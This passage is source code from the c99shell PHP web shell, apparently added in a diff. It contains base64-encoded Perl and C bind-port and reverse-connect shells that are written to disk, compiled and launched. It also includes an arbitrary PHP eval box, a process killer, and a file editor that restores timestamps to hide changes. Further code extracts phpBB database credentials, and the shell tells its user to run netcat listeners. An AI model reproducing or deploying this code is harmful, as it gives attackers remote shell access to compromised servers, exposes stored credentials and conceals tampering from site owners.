href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" id=\"ls_dir[]\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";} + if (($o == ".") or ($o == "..")) {$tab[head][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["dirs"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + } + } + //Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["dirs"],$tab["links"],$tab["files"]); + echo "<center><b>Listing directory (".count($tab["files"])." files and ".(count($tab["dirs"])+count($tab["links"]))." directories):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#333333 border=0><form method=\"POST\">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"><b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=\"submit\" name=\"actarcbuff\" value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=\"act\"><option value=\"".$act."\">With selected:</option>"; + echo "<option value=\"delete\"".gchds($dspact,"delete"," selected").">Delete</option>"; + echo "<option value=\"chmod\"".gchds($dspact,"chmod"," selected").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=\"cut\"".gchds($dspact,"cut"," selected").">Cut</option>"; + echo "<option value=\"copy\"".gchds($dspact,"copy"," selected").">Copy</option>"; + echo "<option value=\"unselect\"".gchds($dspact,"unselect"," selected").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "bind") +{ + $bndsrcs = array( +"c99sh_bindport.pl"=> +"IyEvdXNyL2Jpbi9wZXJsDQppZiAoQEFSR1YgPCAxKSB7ZXhpdCgxKTt9DQokcG9ydCA9ICRBUkdW". +"WzBdOw0KZXhpdCBpZiBmb3JrOw0KJDAgPSAidXBkYXRlZGIiIC4gIiAiIHgxMDA7DQokU0lHe0NI". +"TER9ID0gJ0lHTk9SRSc7DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsIFBGX0lORVQsIFNPQ0tfU1RS". +"RUFNLCAwKTsNCnNldHNvY2tvcHQoUywgU09MX1NPQ0tFVCwgU09fUkVVU0VBRERSLCAxKTsNCmJp". +"bmQoUywgc29ja2FkZHJfaW4oJHBvcnQsIElOQUREUl9BTlkpKTsNCmxpc3RlbihTLCA1MCk7DQph". +"Y2NlcHQoWCxTKTsNCm9wZW4gU1RESU4sICI8JlgiOw0Kb3BlbiBTVERPVVQsICI+JlgiOw0Kb3Bl". +"biBTVERFUlIsICI+JlgiOw0KZXhlYygiZWNobyBcIldlbGNvbWUgdG8gYzk5c2hlbGwhXHJcblxy". +"XG5cIiIpOw0Kd2hpbGUoMSkNCnsNCiBhY2NlcHQoWCwgUyk7DQogdW5sZXNzKGZvcmspDQogew0K". +"ICBvcGVuIFNURElOLCAiPCZYIjsNCiAgb3BlbiBTVERPVVQsICI+JlgiOw0KICBjbG9zZSBYOw0K". +"ICBleGVjKCIvYmluL3NoIik7DQogfQ0KIGNsb3NlIFg7DQp9", +"c99sh_bindport.c"=> +"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5". +"cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N". +"CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy". +"ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1". +"Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5f". +"ZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0p". +"KTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tm". +"ZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigi". +"c29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikmcmVtb3Rl". +"LCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1h". +"Y2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsN". +"CiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk7DQogICBy". +"ZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1Zikp". +"DQogICBzeXN0ZW0oImVjaG8gd2VsY29tZSB0byBjOTlzaGVsbCAmJiAvYmluL2Jhc2ggLWkiKTsN". +"CiAgIGVsc2UNCiAgIGZwcmludGYoc3RkZXJyLCJTb3JyeSIpOw0KICAgY2xvc2UobmV3ZmQpOw0K". +"ICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7DQppbnQg". +"aTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRbaV0gPT0g". +"J1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykNCmVudGVy". +"ZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVybiAwOw0K". +"fQ==", +"c99sh_backconn.pl"=> +"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJ". +"HN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZ". +"DsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJ". +"HRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0L". +"CAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd". +"GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBka". +"WUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yO". +"iAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLR". +"VQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlK". +"FNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==", +"c99sh_backconn.c"=> +"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l". +"dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk". +"Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBk". +"YWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0g". +"aHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihh". +"cmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsy". +"XSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsg". +"DQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1". +"Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0". +"KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIo". +"ZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwi". +"c2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==" +); + $bndportsrcs = array( +"c99sh_bindport.pl"=>array("Using PERL","perl %path %port"), +"c99sh_bindport.c"=>array("Using C","%path %port %pass") +); + $bcsrcs = array( +"c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), +"c99sh_backconn.c"=>array("Using C","%path %host %port") +); + if ($win) {echo "<b>Binding port and Back connect:</b><br>This functions not work in Windows!<br><br>";} + else + { + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + if (empty($bc["host"])) {$bc["host"] = $REMOTE_ADDR;} + if (!is_numeric($bc["port"])) {$bc["port"] = $bindport_port;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen($SERVER_ADDR,$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$bind["src"]; + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $binpath = $tmpdir.join(".",$w); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + else + { + $data = base64_decode($bndsrcs[$bind["src"]]); + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".$SERVER_ADDR.":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".$SERVER_ADDR." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=ps_aux&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $srcpath = $tmpdir.$bc["src"]; + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $binpath = $tmpdir.join(".",$w); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + else + { + $data = base64_decode($bndsrcs[$bind[src]]); + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".$bc["host"].":".$bc["port"]."...<br>"; + } + } + } + ?><b>Binding port:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<?php echo $d; ?>">Port: <input type="text" name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type="text" name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php +foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type="submit" name="bindsubmit" value="Bind"></form> +<b>Back connection:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<?php echo $d; ?>">HOST: <input type="text" name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type="text" name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type="submit" name="bcsubmit" value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p &lt;port&gt;</b>"!<?php + } +} +if ($act == "ps_aux") +{ + echo "<b>Processes:</b><br>"; + if ($win) {echo "This function not work in Windows!<br><br>";} + else + { + if ($pid) + { + if (!$sig) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + $ret = posix_kill($pid,$sig); + if ($ret) {echo "ok. he is dead, amen.";} + else {echo "ERROR.";} + } + $ret = myshellexec("ps -aux"); + if (!$ret) {echo "Can't execute \"ps -aux\"!";} + else + { + $ret = htmlspecialchars($ret); + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;} + if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;} + $k = $ps_aux_sort[0]; + if ($ps_aux_sort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + for($i=0;$i<count($head);$i++) + + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$i.$ps_aux_sort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10,count($line))); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=\"green\">".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=ps_aux&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $head[] = "<b>ACTION</b>"; + $v = $ps_aux_sort[0]; + usort($prcs,"tabsort"); + if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $k) + { + echo "<tr>"; + foreach($k as $v) {echo "<td>".$v."</td>";} + + echo "</tr>"; + } + echo "</table>"; + } + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = true;}} + echo "<form method=\"POST\"><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=\"green\">".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $tmp = posix_getpwuid(fileowner($d.$f)); + if ($tmp["name"] == "") {echo fileowner($d.$f)."/";} + else {echo $tmp["name"]."/";} + $tmp = posix_getgrgid(filegroup($d.$f)); + if ($tmp["name"] == "") {echo filegroup($d.$f);} + else {echo $tmp['name'];} + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {exit;} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,true)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."act=cmd\" method=\"POST\"><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=\"hidden\" name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=\"submit\" name=\"submit\" value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("phpBB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {exit;} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form method=\"POST\"><input type=\"submit\" name=\"submit\" value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" 